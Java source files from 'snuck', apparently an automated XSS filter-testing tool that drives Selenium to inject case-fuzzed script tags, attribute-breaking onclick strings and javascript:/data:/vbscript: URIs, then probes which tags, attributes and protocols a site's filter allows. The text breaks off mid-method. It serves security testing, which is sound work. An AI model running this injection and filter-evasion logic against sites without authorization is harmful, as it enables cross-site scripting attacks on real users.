<|start_filename|>src/xmlparser/XmlConfigReader.java<|end_filename|>
/*
   snuck - XML configuration files parser
   --------------------------------
   
   Author: <NAME> <<EMAIL>>

   Copyright 2012 <NAME>

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

     http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.

 */

package xmlparser;

import java.io.File;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLEncoder;
import java.util.HashMap;
import java.util.LinkedList;
import java.util.Map;
import java.util.Random;

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;

import org.openqa.selenium.By;
import org.openqa.selenium.UnhandledAlertException;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebDriverException;
import org.openqa.selenium.WebElement;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;

import commandline.Debug;
import commandline.HaltHandler;
import core.Starter;

/**
 * Here follows the two possible configuration files
 * 
 * 1. XSS via GET parameter
<root>
	<get>
		<parameters>
			<targeturl>http://targeturl.ex/</targeturl>
			<reflectionurl>http://targeturl.ex/xssedpage.html</reflectionurl>
			<paramtoinject>x</paramtoinject>
			<parameter>id=1</parameter>
			<parameter>year=2012</parameter>
		</parameters>
	</get>
</root>
 * 
 * 2. XSS via form(s?) to populate
<root>
	<post>
		<parameters>
			<parameter>
				<name>username</name>
				<value>myname</value>
			</parameter>
			<commands>
				<command>
					<name>open</name>
					<target>http://target.foo</target>
					<value></value>
				</command>
				<command>
					<name>type</name>
					<target>name=author</target>
					<value>${username}</value>
				</command>
				<command>
					<name>click</name>
					<target>name=submit</target>
					<value></value>
				</command>
			</commands>
		</parameters>
	</post>
</root>
 *
 */

public class XmlConfigReader {	
		
	private DocumentBuilderFactory factory;
	private DocumentBuilder builder;
	private Document document;
	private Element root;
	private String xmlFilename;
	
	private Map<String, String> Parameters = new HashMap<String, String>();
	
	// method => 1 stands for reflected, 2 stands for stored, 0 stands for error
	private int method = 0;
	
	public int getMethod() {
		return this.method;
	}
	
	public XmlConfigReader(String xmlConfigFile_Name) {
		factory = DocumentBuilderFactory.newInstance();
		xmlFilename = xmlConfigFile_Name;
		
		try {
			builder = factory.newDocumentBuilder();
			document = builder.parse(new File(xmlConfigFile_Name));
		} catch (ParserConfigurationException e) {
			Debug.printError("ERROR: unable to parse the XML configuration file.\n" + e.getMessage());
			HaltHandler.quit_nok();
		} catch (IOException e) {
			Debug.printError("ERROR: unable to open the XML configuration file.\n" + e.getMessage());
			HaltHandler.quit_nok();
		} catch (SAXException e) {
			Debug.printError("ERROR: unable to parse the XML configuration file.\n" + e.getMessage());
			HaltHandler.quit_nok();
		}
		
    	root = document.getDocumentElement();
    	
    	checkType();
	}

	private void checkType() {
    	NodeList list1 = root.getElementsByTagName("get");
    	NodeList list2 = root.getElementsByTagName("post");
    	
    	if (list1.getLength() == 0 && list2.getLength() == 0){
    		Debug.printError("ERROR: invalid use case ( " + xmlFilename + " )");
			HaltHandler.quit_nok();
    	}
    		
    	if (list1.getLength() != 0) this.method = 1;
    	else if (list2.getLength() != 0){
    		this.method = 2;
    		setParameters();
    	}
	}
	
	private String getCompleteTargetURL(){
		String url = GetTargetUrl() + "?";
		
    	NodeList list = root.getElementsByTagName("parameter");
    	
		for (int i = 0; i < list.getLength(); i++){
			url += "&" + ((Node)(list.item( i ))).getTextContent();
    	}
		
		return url;
	}
	
	private String GetTargetUrl(){	
		String targetURL = getTextContentByName("targeturl");
		
		if (targetURL == null){
			Debug.printError("ERROR: missing <targeturl> ( " + xmlFilename + " )");
			HaltHandler.quit_nok();
		}
		
		return targetURL;
	}
	
	private String GetReflectionUrl(){	
		return getTextContentByName("reflectionurl");
	}
	
	boolean empty_paramtoinject_flag = false;
	private String GetParamToInject(){
		String param = getTextContentByName("paramtoinject");
		
		if (param == null){
			Debug.printError("ERROR: missing <paramtoinject> ( " + xmlFilename + " ).");
			HaltHandler.quit_nok();
		}
		
		if (param.equals("") && !empty_paramtoinject_flag){
			String t_url = GetTargetUrl();
			Debug.print("INFO: <paramtoinject> is empty ( " + xmlFilename + " ). " +
						"Injecting in the form of: " + ( t_url.endsWith("/") ? t_url : t_url + "/" ) + "injection");
			empty_paramtoinject_flag = true;
		}
		
		return param;
	}
	
	private String getTextContentByName(String tagName){
		if (root.getElementsByTagName(tagName).getLength() != 0)
    		return root.getElementsByTagName(tagName).item(0).getTextContent();
		else return null;
	}
		
	private void setParameters(){
		NodeList list = root.getElementsByTagName("parameter");

		for (int i = 0; i < list.getLength(); i++){
			NodeList subChild = ((Node)list.item(i)).getChildNodes();
			
			String name = subChild.item(1).getTextContent();
			String value = subChild.item(3).getTextContent();

			Parameters.put(name, value);
    	}
	}
	
	public void commonInject(final WebDriver driver, String injection, int delay){
		if (delay != 0){
			try {
				Thread.sleep(delay);
			} catch (InterruptedException e) {
				Debug.printError("Error: " + e.getMessage());
				HaltHandler.quit_nok();
			}
		}
		
		if (method == 1){
			String target_url = "";
			
			try {
				if (GetParamToInject().equals("")){
					target_url = ( GetTargetUrl().endsWith("/") ? GetTargetUrl() : GetTargetUrl() + "/" ) + URLEncoder.encode(injection, "UTF-8");
				} else 
					target_url = getCompleteTargetURL() + "&" + GetParamToInject() + "=" + URLEncoder.encode(injection, "UTF-8");
			} catch (UnsupportedEncodingException e) {
				Debug.printError("\nERROR: unable to encode the target URL");
				HaltHandler.quit_nok();
			}

			// handle DoS vectors
			try {				
				/*
				 * Here follows a simple workaround to make it work in Google Chrome > 21.
				 * It seems that starting from Chrome 22, the following code will block the
				 * webdriver navigation:
				 * 
				 * driver.get(targetURL);
				 * driver.switchTo().alert();
				 * => an exception is launched!  
				 *
				 * targetURL is a web page containing an alert dialog window, such as
				 * <script>alert(1)</script>
				 * 
				 * Since it works in the case the targeURL is reached from a link, then
				 * we can force the browser to produce an injection starting from a link in a data URI web page.
				 * 
				 * Note that the injection is obviously url-encoded two times! 
				 */
				if (Starter.getCurrentBrowser() != null && Starter.getCurrentBrowser().contains("Chrome") && ( GetReflectionUrl() == null || GetReflectionUrl().equals("") ) ){
					try {
						driver.get("data:text/html,<a href='" + URLEncoder.encode(target_url, "UTF-8") + "'>go</click>");
					} catch (UnsupportedEncodingException e) {
						Debug.printError("\nERROR: unable to encode the target URL");
						HaltHandler.quit_nok();
					}
			   		driver.findElements(By.xpath("//a")).get(0).click();
				} else			
					driver.get(target_url);

			} catch (UnhandledAlertException e) {
				Starter.refreshDriver();
				Debug.printError("\nERROR: the last injection resulted in a denial of service! Starting a new driver to continue the injection process");
			} catch (WebDriverException e) {
				Starter.refreshDriver();
				Debug.printError("\nINFO: an alert dialog window was blocking the injection process, starting a new driver...");
			}
						
			// <reflectionurl> is setted
			if (GetReflectionUrl() != null && !GetReflectionUrl().equals("")){
				if (Starter.getCurrentBrowser() != null && Starter.getCurrentBrowser().contains("Chrome")){
					try {
						driver.get("data:text/html,<a href='" + URLEncoder.encode(target_url, "UTF-8") + "'>go</click>");
					} catch (UnsupportedEncodingException e) {
						Debug.printError("\nERROR: unable to encode the target URL");
						HaltHandler.quit_nok();
					}
					driver.findElements(By.xpath("//a")).get(0).click();
				} else 
					driver.get(GetReflectionUrl());
			}
			
		} else if (method == 2){
			NodeList commands = root.getElementsByTagName("name");
			NodeList targets = root.getElementsByTagName("target");
			NodeList values = root.getElementsByTagName("value");

			if (commands.getLength() == 0 || targets.getLength() == 0 || values.getLength() == 0){
				Debug.printError("ERROR: malformed <command> tags ( " + xmlFilename + " )");
				HaltHandler.quit_nok();
			} else if (commands.getLength() - Parameters.size() != targets.getLength() || commands.getLength() != values.getLength()){
				Debug.printError("ERROR: malformed <command> tags ( " + xmlFilename + " )");
				HaltHandler.quit_nok();
			}
			
			for (int i = Parameters.size(); i < commands.getLength(); i++){

				String name = commands.item(i).getTextContent();
				String target = root.getElementsByTagName("target").item(i - Parameters.size()).getTextContent();				
				String value = root.getElementsByTagName("value").item(i).getTextContent();
				
				WebElement ele = null;

				try {
					if (target.startsWith("id="))
						ele = driver.findElement(By.id(target.replace("id=", "")));
					else if (target.startsWith("xpath=")) 
						ele = driver.findElement(By.xpath(target.replace("xpath=", "")));
					else if (target.startsWith("name="))
						ele = driver.findElement(By.name(target.replace("name=", "")));
				} catch (Exception e){
					Debug.printError("\nERROR: unable select the element [" + target + "]");
					Starter.brokenPage();
				}
				
					if (name.equals("open")){		
						
						try {
							if  (value.equals("noforce")){
								if (!stripFragmentFromCurrentURL(driver).equals(target))
									driver.get(target);
							} else {
									driver.get(target);
							}
						} catch (UnhandledAlertException e) {
								Starter.refreshDriver();
								Debug.printError("\nERROR: the last injection resulted in a denial of service! Starting a new browser instance to continue the injection process");
						} catch (WebDriverException e) {
								Starter.refreshDriver();
								Debug.printError("\nERROR: the last injection resulted in a denial of service! Starting a new browser instance to continue the injection process");
						}
						
					} else if (name.equals("type")){
						try {
							if (value.startsWith("${") && value.endsWith("}")){
								
								if (value.substring(2, value.length()-1).equals("RANDOM"))
									ele.sendKeys("" + (new Random()).nextInt(100000));
								else if (value.substring(2, value.length()-1).equals("RANDOM_EMAIL"))
									ele.sendKeys((new Random()).nextInt(100000) + "@" + (new Random()).nextInt(100000) + ".org");
								else if (value.substring(2, value.length()-1).equals("INJECTION"))
									ele.sendKeys((injection != null) ? injection : "");
								else 
									ele.sendKeys(Parameters.get(value.toLowerCase().replace("$", "").replace("{", "").replace("}", "")));
								
							} else if (value.equals("")){
								ele.clear();
							} else 
								ele.sendKeys(value);
						} catch (NullPointerException e){
							Debug.printError("\nERROR: cannot find the element defined through [" + target + "]");
							Starter.brokenPage();
						}
					
					} else if (name.equals("submit")){		
						try {
							ele.submit();
						} catch (NullPointerException e){
							Debug.printError("\nERROR: cannot find the element defined through [" + target + "]");
							Starter.brokenPage();
						}
					} else if (name.equals("deleteCookies")) {
						try {
							driver.manage().deleteAllCookies();
						} catch (NullPointerException e){
							Debug.printError("\nERROR: cannot find the element defined through [" + target + "]");
							Starter.brokenPage();
						}
					} else if (name.equals("click")) {
						try {
							ele.click();
						} catch (NullPointerException e){
							Debug.printError("\nERROR: cannot find the element defined through [" + target + "]");
							Starter.brokenPage();
						}
					}			
				}
		}
	}
	
	private static String stripFragmentFromCurrentURL(WebDriver current_driver){
		String current_url = current_driver.getCurrentUrl();
		int t = current_url.indexOf("#");
		
		if (t != -1)
			return  current_url.substring(0, t);
		else 
			return current_url;
	}
	
	public static String generateReflectedConfigFile(String targetURL, String targetParam) {
		URL tmp = null;
		LinkedList<String> parameters = null;
		String params = "";
		
		try {
			tmp = new URL(targetURL);
		} catch (MalformedURLException e) {
			Debug.printError("ERROR: unable to parse the supplied URL (" + targetURL + ")");
            HaltHandler.quit_nok();
		}
		
		if (tmp.getQuery() != null){
			parameters = getQueryMap(tmp.getQuery());
				
			for (String p : parameters) {  
				params += "			<parameter>" +
							p.split("=")[0] + ( p.split("=")[1].equals("") ? "" : "=" + p.split("=")[1] );
				params += "</parameter>\n";
			}  
		}
		
		return "<root>\n" +
				"	<get>\n" +
				"		<parameters>\n" +
				"			<targeturl>" + (targetURL.split("\\?") != null ? targetURL.split("\\?")[0] : targetURL) + "</targeturl>\n" +
				"			<paramtoinject>" + targetParam + "</paramtoinject>\n" +
							params + 
				"		</parameters>\n" +
				"	</get>\n" +
				"</root>\n";
	}
	
	public static LinkedList<String> getQueryMap(String query) {  
	    String[] params = query.split("&");  
	    LinkedList<String> parameters = new LinkedList<String>();
	    
	    for (String param : params) {  
	        String name = param.split("=")[0];  
	        String value = null;
	        if (param.split("=").length == 2)
	        	value = param.split("=")[1];  
	        
	        parameters.add(name + "=" + ( (value == null) ? "" : value ) );  
	    }  
	    return parameters;  
	}
}

<|start_filename|>src/core/Inject.java<|end_filename|>
/*
   snuck - injector
   --------------------------------
   
   Author: <NAME> <<EMAIL>>

   Copyright 2012 <NAME>

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

     http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.

 */

package core;


import java.io.BufferedReader;
import java.io.DataInputStream;
import java.io.FileInputStream;
import java.io.FileReader;
import java.io.InputStreamReader;
import java.io.LineNumberReader;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.LinkedList;
import java.util.List;
import java.util.Random;


import org.apache.commons.lang.StringEscapeUtils;
import org.openqa.selenium.Alert;
import org.openqa.selenium.By;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.support.ui.ExpectedCondition;
import org.openqa.selenium.support.ui.WebDriverWait;

import commandline.Debug;
import commandline.HaltHandler;


public class Inject {
	private final String pathTo_common_payloads = "payloads/html_payloads";
	private final String pathTo_uri_alert_payloads = "payloads/uri_payloads";
	private final String pathTo_js_alert_payloads = "payloads/js_alert_payloads";
	private final String pathTo_expression_alert_payloads = "payloads/expression_alert_payloads";
	
	private final String _dummyNodeAttributeKey = fuzzCases("dummy_attr");
	private final String _dummyNodeAttributeValue = fuzzCases("dummy_attr_value");
		 
	// " dummy_attr=dummy_attr_value "
	private final String _dummy_attribute = "'\" " + _dummyNodeAttributeKey
											+ "=" + _dummyNodeAttributeValue + " \"";
	
	private String _dummy_link_text = "_dummy_";
	
	private String[] _script_payloads;
	
	private String[] _vectors;
	
	private String[] _malicious_uris;
	
	private String[] _expression_payloads;
	
	private boolean areAttributesBreakable = false;
	
	private static String[] htmlAttributes = {
		"onblur", "onchange", "onclick", "ondblclick", "onerror", "onfocus", "onkeydown",  "onkeypress",
		"onkeyup", "onload", "onmousedown", "onmousemove", "onmouseout", "onmouseover", "onmouseup",
		"onresize", "onselect", "onunload",
		"accept", "accept-charset", "accesskey", "action", "align", "alt", "async", "autocomplete",
		"autofocus", "autoplay", "bgcolor", "border", "buffered", "challenge", "charset", "checked",
		"cite", "class", "code", "codebase", "color", "cols", "colspan", "content", "contenteditable",
		"contextmenu", "controls", "coords", "data", "datetime", "default", "defer", "dir", "dirname",
		"disabled", "draggable", "dropzone", "enctype", "for", "form", "headers", "height", "hidden",
		"high", "href", "hreflang", "http-equiv", "icon", "id", "ismap", "itemprop", "keytype",
		"kind", "label", "lang", "language", "list", "loop", "low", "max", "maxlenght", "media",
		"method", "name", "pattern", "preload", "radiogroup", "readonly", "rel", "required", "reversed",
		"rows", "rowspan", "sandbox", "selected", "shape", "size", "span", "src", "style", "target",
		"title", "type", "usemap", "value", "width", "DUMMYattribute"
	};
	
	private static String[] htmlElements = { 
		"a", "abbr", "acronym", "address", "applet", "area", "article", "aside", "audio",
		"b", "base", "bdi", "bdo", "bgsound", "big", "blink", "blockquote",
		"body", "br", "button", "canvas", "caption", "center", "cite", "code", "col", "colgroup",
		"command", "datalist", "dd", "del", "details", "dfn", "dir", "div", "dl", "dt",
		"em", "embed", "fieldset", "figure", "font", "footer", "form",
		"frame", "frameset", "h1", "head", "header", "hgroup", "hr", "i", "iframe",
		"img", "input", "ins", "kbd", "keygen", "label", "legend", "li", "link", "listing",
		"map", "mark", "marquee", "math", "menu", "meta", "meter", "nav", "nobr", "object", "ol",
		"option", "output", "p", "param", "pre", "progress", "q", "script",
		"select", "small", "source", "span", "strike", "strong", "style", "sub", "summary", "sup",
		"table", "tbody", "td", "textarea", "tfoot", "th", "thead", "time", "title", "tr",
		"track", "tt", "u", "ul", "video", "wbr", "xmp"
	};
	
	private static String[] protocols = {
		"http", "https", "ftp", "mailto", "news", "irc", "news", "irc", "gopher",
		"nntp", "feed", "telnet", "mms", "rtsp", "svn", "javascript", "data", "vbscript"
	}; 
	
	private static int numberOfXSS = 0;
	
	private static int limitNumberOfXSS = 5;
	
	private static commandline.ProgressBar bar = null;
	
	public Inject(){
		_vectors = loadPayloadsFromfile(pathTo_common_payloads);
		_malicious_uris = loadPayloadsFromfile(pathTo_uri_alert_payloads);
		_script_payloads = loadPayloadsFromfile(pathTo_js_alert_payloads);
		_expression_payloads = loadPayloadsFromfile(pathTo_expression_alert_payloads);	
	}
	
	public Inject(String attackVectorsRepositoryURL) {
		Debug.print("Loading attack vectors from the remote repository ( " + attackVectorsRepositoryURL + " )");
		commandline.ProgressBar bar = new commandline.ProgressBar();
		
		int size = 4, i = 0;
		bar.update(i++, size);
		_vectors = loadPayloadsFromURL(attackVectorsRepositoryURL + pathTo_common_payloads);
		bar.update(i++, size);
		_malicious_uris = loadPayloadsFromURL(attackVectorsRepositoryURL + pathTo_uri_alert_payloads);
		bar.update(i++, size);
		_script_payloads = loadPayloadsFromURL(attackVectorsRepositoryURL + pathTo_js_alert_payloads);
		bar.update(i++, size);
		_expression_payloads = loadPayloadsFromURL(attackVectorsRepositoryURL + pathTo_expression_alert_payloads);
	}

	public int getNumberXSS(){
		return numberOfXSS;
	}
	
	public int getLimitNumberXSS(){
		return limitNumberOfXSS;
	}
		
	private String[] loadPayloadsFromfile(String pathTo_payloads) {
		String[] _payloads = null;
		
		try{
			FileInputStream fstream = new FileInputStream(pathTo_payloads);
			DataInputStream in = new DataInputStream(fstream);
			BufferedReader br = new BufferedReader(new InputStreamReader(in));
			String strLine;
			int i = 0;
			
			LineNumberReader  lnr = new LineNumberReader(new FileReader(pathTo_payloads));
			lnr.skip(Long.MAX_VALUE);

			_payloads = new String[lnr.getLineNumber()];
			
			while ((strLine = br.readLine()) != null) {
				_payloads[i] = strLine;
				i++;
			}

			in.close();
		}catch (Exception e){
				Debug.printError("ERROR: unable to load the attack payloads");
				HaltHandler.quit_nok();
		}
		
		return _payloads;
	}
	
	private String[] loadPayloadsFromURL(String attackVectorsRepositoryURL) {
		String[] _payloads = null;
		
		try{
			URL repo = new URL(attackVectorsRepositoryURL);
			BufferedReader in = new BufferedReader(new InputStreamReader(repo.openStream()));
			
		    String inputLine;
			int i = 0;

		    while ((inputLine = in.readLine()) != null)
		    	i++;
		    			
			_payloads = new String[i];
			i = 0;
			in = new BufferedReader(new InputStreamReader(repo.openStream()));
			
			while ((inputLine = in.readLine()) != null) {
				_payloads[i] = inputLine;
				i++;
			}

			in.close();
		}catch (Exception e){
				Debug.printError("\nERROR: unable to load the attack payloads from the remote repository");
				HaltHandler.quit_nok();
		}
		
		return _payloads;
	}

	public boolean areAttributesBreakable(){
		return areAttributesBreakable;
	}
	
	private void log(String attackVector){
		if (!Starter.getDetectedXSSVector().contains(attackVector)){
			Starter.addDetectedXSSVector(attackVector);
			numberOfXSS++;
		}
	}
	
	private void waitForAlert(String current_injection){
		final WebDriver driver = Starter.getDriver();

		Alert alert = (new WebDriverWait(driver, 0))
				.until(new ExpectedCondition<Alert>(){	
					public Alert apply(WebDriver d) {
						return driver.switchTo().alert();
					}
			    });

		alert.accept();
		
		if (current_injection != null){
			log(current_injection);

			if (bar != null)
				bar.setBroken();
			
			if (Starter.getParsedArgs().getStopFirstPositive()) {
				Starter.forceQuit();
			}
		}
	}
	
	private String modifyVector(String vector){
		
		vector = vector.replace("%alert%", selectRandom(_script_payloads));
		vector = vector.replace("%uri%", selectRandom(_malicious_uris));
		
		return vector;
	}
	
	private String selectRandom(String[] x){
		return x[new Random().nextInt(x.length)];
	}
	
	public String fuzzCases(String original_string){
		String fuzzed_string = "";
		Random randomGenerator = new Random();
		int randomInt = 0;
		String tmp = "";
		
		for (int i = 0; i < original_string.length(); i++){
			randomInt = randomGenerator.nextInt(10);
			tmp = original_string.substring(i, i+1);
			
			if (tmp.matches("[a-zA-Z]"))
				fuzzed_string += (randomInt > 5) ? tmp.toLowerCase() : tmp.toUpperCase() ;
			else
				fuzzed_string += tmp;
		}
		
		return fuzzed_string;
	}
	
	private void injector(String[] vectors, String closing_elements) {
		bar = new commandline.ProgressBar();
		int i = 0, size = vectors.length;
		
		for (String current : vectors){
			bar.update(i, size);
			i++;
								
			// INSERT OPERATION -> stop the test in the case the filter is too weak (do not flood the browser with an infinite # of alert dialogs)
			// UPDATE OPERATION -> do not stop test
			if ( (numberOfXSS <= limitNumberOfXSS - 1 && Starter.getOperation() == 1)
					|| Starter.getOperation() == 2 ){
				
				// put "something" before the payload
				current = (closing_elements == null) ? current : closing_elements + current;
				
				String processedVector = modifyVector(current);
				
				// inject!!
				Starter.inject(processedVector);
				
				for (int j = 0; j <= numberOfXSS;j++)
					try {
						waitForAlert(processedVector);
				    } catch (Exception e) {
				      	break;
				    }
			} 
		}
		
	}
	
	public void injectWithinScriptTag(String closing_string_character, String tail) {	
		int i = 0;
		String[] _Inscript_vectors = new String[_script_payloads.length];
		
		for (String current : _script_payloads){
			_Inscript_vectors[i] = ( (closing_string_character == null) ? "" : closing_string_character + ";" ) +
					current +
					((tail == null) ? "" : tail);
			i++;
		}
		
		injector(_Inscript_vectors, null);
	}

	public void injectTag(String closing_string_character) {
		// try with no user interaction vectors
		injector(_vectors, ((closing_string_character == null) ? null : fuzzCases(closing_string_character)) );
		
		bar = new commandline.ProgressBar();
		int i = 0, size = _malicious_uris.length;
		
		Debug.print("Injecting user-interaction vectors...");
		// user interaction vectors
		for (String current : _malicious_uris){
			bar.update(i, size);
			i++;
			
			if ( (numberOfXSS <= limitNumberOfXSS - 1 && Starter.getOperation() == 1)
					|| Starter.getOperation() == 2 ) {

				int random_part = (new Random()).nextInt(100000);
				String linkText = fuzzCases(_dummy_link_text) + random_part;
				
				String anchor_vector = ((closing_string_character == null) ? "" : fuzzCases(closing_string_character)) +
									"<" + fuzzCases("a") +
									" " + fuzzCases("href") + "=" +
									current +
									">" +
									linkText;								
				
				Starter.inject(anchor_vector);
				
				List<WebElement> link =  Starter.getDriver().findElements(By.linkText(linkText));  
				List<WebElement> link2 =  Starter.getDriver().findElements(By.xpath("//a[@href='" + current + "']"));  
				
				for (int j = 0; j < numberOfXSS;j++)
					try {
						waitForAlert(null);
				    } catch (Exception e) {
				      	break;
				    }
				
				try {
					if (link.size() != 0 && !link.get(0).getAttribute("href").startsWith("denied")){
						link.get(0).click();
						
						waitForAlert(anchor_vector);
					} else if (link2.size() != 0 && !current.startsWith("denied")){
						link2.get(0).click();
						
						waitForAlert(anchor_vector);
					}
			    } catch (Exception e) {
			      	continue;
			    }
			
			}
		}
	}
	
	public void injectScriptTag(String closing_string_character) {
		int i = 0;
		String[] _script_vector = new String[_script_payloads.length];
		
		for (String current : _script_payloads){
			_script_vector[i] = ( (closing_string_character == null) ? "" : fuzzCases(closing_string_character) ) +
					"<" + 
					fuzzCases("script") +
					">" +
					current +
					"</" +
					fuzzCases("script") +
					">";
			i++;
		}
		
		injector(_script_vector, null);
	}
	
	public void injectDummyAttribute() {
		Starter.inject(_dummy_attribute);
		
		// check whether the attribute is breakable => does //*[@dummy_attr='dummy_attr_value'] exist?!
		this.areAttributesBreakable = Starter.getDriver().findElements(By.xpath("//*[@" +_dummyNodeAttributeKey.toLowerCase() + "='" + _dummyNodeAttributeValue + "']")).size() != 0;		
	}

	public void injectAttribute(String preamble) {
		bar = new commandline.ProgressBar();
		int i = 0, size = _script_payloads.length;
		
		for (String current : _script_payloads){
			bar.update(i, size);
			i++;
			
			if ( (numberOfXSS <= limitNumberOfXSS - 1 && Starter.getOperation() == 1)
					|| Starter.getOperation() == 2 ) {

				// '" onclick=payload//
				String breaking_vector = ((preamble != null)? preamble : "") + "?'\" " + fuzzCases("onclick") + "=" + current + "// ";
				
				Starter.inject(breaking_vector);
			
				for (int j = 0; j < numberOfXSS;j++)
					try {
						waitForAlert(null);
				    } catch (Exception e) {
				      	break;
				    }
				
				List<WebElement> injected_nodes = Starter.getDriver().findElements(By.xpath("//*[contains(@onclick,\"" + current + "\")]"));
				
				if (injected_nodes.size() != 0){
					for (WebElement e : injected_nodes)
						if (e.isDisplayed()){
							e.click();
							break;
						}
					
					try {								
						waitForAlert(breaking_vector);
				    } catch (Exception e) {
				      	continue;
				    }
				}
			}
		}
		
	}

	public void injectUntrustedURL_src() {
		injector(_malicious_uris, null);
	}

	public void injectUntrustedURL_href(String linkText) {
		bar = new commandline.ProgressBar();
		int i = 0, size = _malicious_uris.length;
		
		for (String current : _malicious_uris){
			bar.update(i, size);
			i++;
			
			if ( (numberOfXSS <= limitNumberOfXSS - 1 && Starter.getOperation() == 1)
					|| Starter.getOperation() == 2 ) {
					
				Starter.inject(current);
							
				List<WebElement> link =  Starter.getDriver().findElements(By.xpath("//a[@href='" + current + "']"));  
				List<WebElement> link2 = Starter.getDriver().findElements(By.linkText(linkText));
				
				for (int j = 0; j < numberOfXSS;j++)
					try {
						waitForAlert(null);
				    } catch (Exception e) {
				      	break;
				    }
				
				try {
					if (link.size() != 0 && !link.get(0).getAttribute("href").startsWith("denied")){
						link.get(0).click();
								
						waitForAlert(current);
					} else if (link2.size() != 0 
								&& !link2.get(0).getAttribute("href").startsWith("denied")
								&& ( 
										StringEscapeUtils.unescapeHtml(link2.get(0).getAttribute("href")).startsWith("javascript") || 
										StringEscapeUtils.unescapeHtml(link2.get(0).getAttribute("href")).startsWith("data") || 
										StringEscapeUtils.unescapeHtml(link2.get(0).getAttribute("href")).startsWith("feed") || 
										StringEscapeUtils.unescapeHtml(link2.get(0).getAttribute("href")).startsWith("vbscript") )
									){
						link2.get(0).click();
						
						waitForAlert(current);
					}
				 } catch (Exception e) {
				    continue;
			    }	
			}
		}
	}

	public void breakElement(String post) {
		injector(_vectors, "'\">" + ( (post == null) ? "" : post ) );
	}

	public void checkReflectionContext(String injection) {
		
		// <tag>INJECTION</tag>
        if (Starter.getDriverFast().findElements(By.xpath("//*[text()[contains(., '" + injection + "')]]")).size() != 0){
        	
        	Debug.print("Reversing the XSS filter...");

        	checkElements(injection);
            
        // <tag attribute=INJECTION>
        } else if (Starter.getDriverFast().findElements(By.xpath("//attribute::*[contains(., '" + injection + "')]/..")).size() != 0){
        	List<WebElement> tmp = Starter.getDriverFast().findElements(By.xpath("//attribute::*[contains(., '" + injection + "')]/.."));
        	        	
        	if ( ( tmp.get(0).getAttribute("src") != null && 
        			tmp.get(0).getAttribute("src").contains(injection) ) ||
        		 ( tmp.get(0).getAttribute("href") != null &&
        			tmp.get(0).getAttribute("href").contains(injection) ) ){
        		
        		Debug.print("Reversing the XSS filter...");
        		
        		checkProtocols();
        	
        	}       	
        }
	}
	
	private void checkProtocols() {
		bar = new commandline.ProgressBar();
		LinkedList<String> allowedProtocols = new LinkedList<String>();
		int size = protocols.length, i = 0;
		String injection = "";
		
		for (String scheme : protocols){
			bar.update(i, size);
			i++;
			
			injection = scheme + ":" + ((scheme.equals("http") || scheme.equals("https") || scheme.equals("ftp")) ? "//" : "" ) + (new Random()).nextInt(100000);

			Starter.injectFast(injection);
				    			
			if (Starter.getDriverFast().findElements(By.xpath("//attribute::*[starts-with(., '" + injection + "')]/..")).size() != 0) {
				for (WebElement e : Starter.getDriverFast().findElements(By.xpath("//attribute::*[starts-with(., '" + injection + "')]/..")))
					if (e.getAttribute("href") != null && e.getAttribute("href").contains(injection) || 
							e.getAttribute("src") != null && e.getAttribute("src").contains(injection))
						allowedProtocols.add(scheme);
			}
		}
		
		Starter.setAllowedProtocols(allowedProtocols);
	}

	public void checkElements(String injection) {

		if (Starter.getParsedArgs().getDelayInterval() == 0){
			// 5 threads are started in order to address the reversion of the filter
			// if a delay is setted, then a sequential approach will be adopted
			int partitions_size = 25;
			int i = 0, j = 0;
			String[] partition_a = new String[partitions_size];
			String[] partition_b = new String[partitions_size];
			String[] partition_c = new String[partitions_size];
			String[] partition_d = new String[partitions_size];
			String[] partition_e = new String[htmlElements.length - (partitions_size * 4)];
			String attributes = "";
	
			for (String attribute : htmlAttributes){
				attributes += attribute + "=\"X\" ";
			}
			
			for (String element : htmlElements){
				if (j >= partitions_size && i <= 4*partitions_size)
					j = 0;
				
				if (i / partitions_size == 0) 
					partition_a[j] = element;
				if (i / partitions_size == 1) 
					partition_b[j] = element;
				if (i / partitions_size == 2) 
					partition_c[j] = element;
				if (i / partitions_size == 3) 
					partition_d[j] = element;
				if (i / partitions_size >= 4)
					partition_e[j] = element;
				
				i++;
				j++;
			}
	
			Thread reverser_a = new Reverser(partition_a, attributes, htmlAttributes, htmlElements.length);
			Thread reverser_b = new Reverser(partition_b, attributes, htmlAttributes, htmlElements.length);
			Thread reverser_c = new Reverser(partition_c, attributes, htmlAttributes, htmlElements.length);
			Thread reverser_d = new Reverser(partition_d, attributes, htmlAttributes, htmlElements.length);
			Thread reverser_e = new Reverser(partition_e, attributes, htmlAttributes, htmlElements.length);
			
			reverser_a.start();
			reverser_b.start();
			reverser_c.start();
			reverser_d.start();
			reverser_e.start();
	
			try {
				reverser_a.join();
				reverser_b.join();
				reverser_c.join();
				reverser_d.join();
				reverser_e.join();
			} catch (InterruptedException e1) {
				Debug.printError("\nERROR: unable to terminate a thread");
			}
			
			Starter.setAllowedElements(Reverser.getAllowedElements());
		} else {
			reverse(injection);
		}
		
	}

	public void reverse(String injection){
		bar = new commandline.ProgressBar();
		String current;
		String attributes = null;
		String delimiter;
		HashMap<String, List<String>> allowedElements = new HashMap<String, List<String>>();
		int i = 0;
		
		for (String attribute : htmlAttributes){
			attributes += attribute + "=\"X\" ";
		}
		
		int size = htmlElements.length;
		
		for (String element : htmlElements){
